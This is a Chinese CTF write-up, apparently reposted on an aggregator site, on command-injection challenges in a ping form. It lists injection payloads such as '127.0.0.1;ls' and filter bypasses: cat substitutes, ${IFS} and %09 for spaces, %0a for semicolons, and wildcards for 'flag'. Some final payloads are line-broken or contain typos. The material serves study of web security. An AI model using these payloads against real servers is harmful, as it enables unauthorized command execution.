IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTF_WEB学习-------------RCE之命令注入 -> 正文阅读

[PHP知识库]CTF_WEB学习-------------RCE之命令注入

CTF_WEB学习-------------RCE之命令注入

REC

什么是RCE?

? 远程命令/代码执行漏洞,简称为RCE漏洞,可以直接向服务器后台远程注入操作系统的命令或者代码,从而拿到服务器后台的权限。RCE分为远程执行命令(执行ping命令)和远程代码执行eval。

RCE产生的原因?

? 漏洞的起源是在开发的过程中带有输入-执行功能的系统时,由于输入过滤不严谨,导致的命令产生了注入。

RCE漏洞分类

  • 命令注入
  • 文件包含
  • eval执行

image-20210713153902947

命令注入

什么是命令注入?

? 命令注入就是通过控制外部的参数达到执行系统命令的效果

RCE命令注入分类

  • 无过滤
  • 过滤cat
  • 过滤空格
  • 过滤目录分隔符
  • 过滤运算符
  • 综合过滤练习

无过滤

题目

image-20210713155423178

解题过程
  1. 首先执行ping命令,ping本机ip:127.0.0.1,再加上ls这个系统命令,连起来就是127.0.0.1;ls。image-20210713155449327
  2. 接着查看里面的文件,构造命令127.0.0.1;cat +文件名image-20210713155518007
  3. 右键查看前端源码,发现存在flagimage-20210713155539956

过滤cat

? 过滤cat,那么我们应当首先想到什么命令可以和cat 拥有相同的效果。和cat具有相同效果的命令有:

  • more
  • less
  • head
  • tail
题目

? 题目提示:过滤了cat命令之后,你还有什么方法能读到 Flag?image-20210713165540383

解题过程
  1. 执行命令127.0.0.1;ls,发现几个PHP文件image-20210713165730660
  2. 因为cat会被过滤,使用more命令去代替它,127.0.0.1; more flag_317491770120937.phpimage-20210713170029999

过滤空格

? 过滤空格,我们首先想到CTF题目中什么可以替代空格,这样的话我们就可以成功的绕过空格被过滤的限制。CTF中常用的绕过过滤空格的方法有:

$IFS
$IFS$1
${IFS}
$IFS$9
<     比如cat<a.tct:表示cat a.txt
<>
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20
%09
题目

? 题目提示:这次过滤了空格,你能绕过吗,我们就采取措施,想办法去绕过过滤。image-20210713171754496

解题过程
  1. 执行命令 127.0.0.1;ls,查看可以访问的文件,发现一个flag_12954450028809.php文件。image-20210713171955683
  2. 使用cat命令去查看这个文件中有什么,并且此时要绕过对空格的过滤,执行命令:127.0.0.1; cat${IFS}flag_12954450028809.php,拿到flag。image-20210713172515844

过滤目录分隔符

? 题目提示:这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗

? 本题的思路不是用什么东西去绕过目录分隔符店的过滤,而是这个题目是对文件夹里的目录里的PHP文件的读取,所以我们不能直接cat文件夹,我们应当使用的系统命令cd去查看文件夹下的文件,然后去cat文件夹下的PHP文件

题目

image-20210714102446572

解题过程
  1. 阅读源码发现过滤**/ \ //**,我们不能利用目录分割符,去访问文件。image-20210714102911995
  2. 我们使用cd 命令查看这个文件夹127.0.0.1;cd flag_is_here;lsimage-20210714103615025
  3. 接着我们去cat flag_18515776511094.php执行命令127.0.0.1;cd flag_is_here;cat flag_18515776511094.php,获取到flagimage-20210714103845351

过滤运算符

? 这个题目说过滤几个运算符,但是不影响我们做题,和前面的几道题目的思路类似。

题目

? 题目提示:过滤了几个运算符, 要怎么绕过呢

image-20210714110718220

解题过程
  1. 执行命令127.0.0.1;ls,查看可利用信息,发现一个PHP文件。image-20210714111106676
  2. 执行命令**127.0.0.1;cat flag_6086289321351.php,**拿到flagimage-20210714111402926

综合过滤练习

? 题目对**|,&,;, ,/,cat,flag,ctfhub**这些进行了过滤,我们的目的就是对这些进行替换

用more替换cat
用%0a去替换;
空格用${IFS}替换
flag可以用正则替换f***
flag可以用TAB加*替换,不过要用url编码TAB,表示为%09加*

注意本题提交的payload都是在浏览器输入框中输入的,不然会被二次转义。

题目

? 题目提示:同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?

解题过程
  1. 输入命令127.0.0.1%0als,使用%0a代替 ;image-20210714220849200

  2. 使用正则表达式代替flag,使用{IFS}代替空格,此处注意传cd到文件夹下以后,要使用ls将文件加下的文件列出来。最后输入命令127.0.0.1%0acd${IFS}f***_is_here
    ${IFS}%0alsimage-20210714221447353

  3. 输入命令ip=127.0.0.1%0acd${IFS}f***_is_here
    ${IFS}%0amore
    ${IFS}f***_5222980724357.php,获取到flag

image-20210714221719423

  1. 输入命令ip=127.0.0.1%0acd${IFS}f***_is_here
    ${IFS}%0amore{IFS} f***_5222980724357.php,获取到flag

image-20210714221746883

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-16 10:58:33  更:2021-07-16 11:03:09 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/27 20:34:26-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码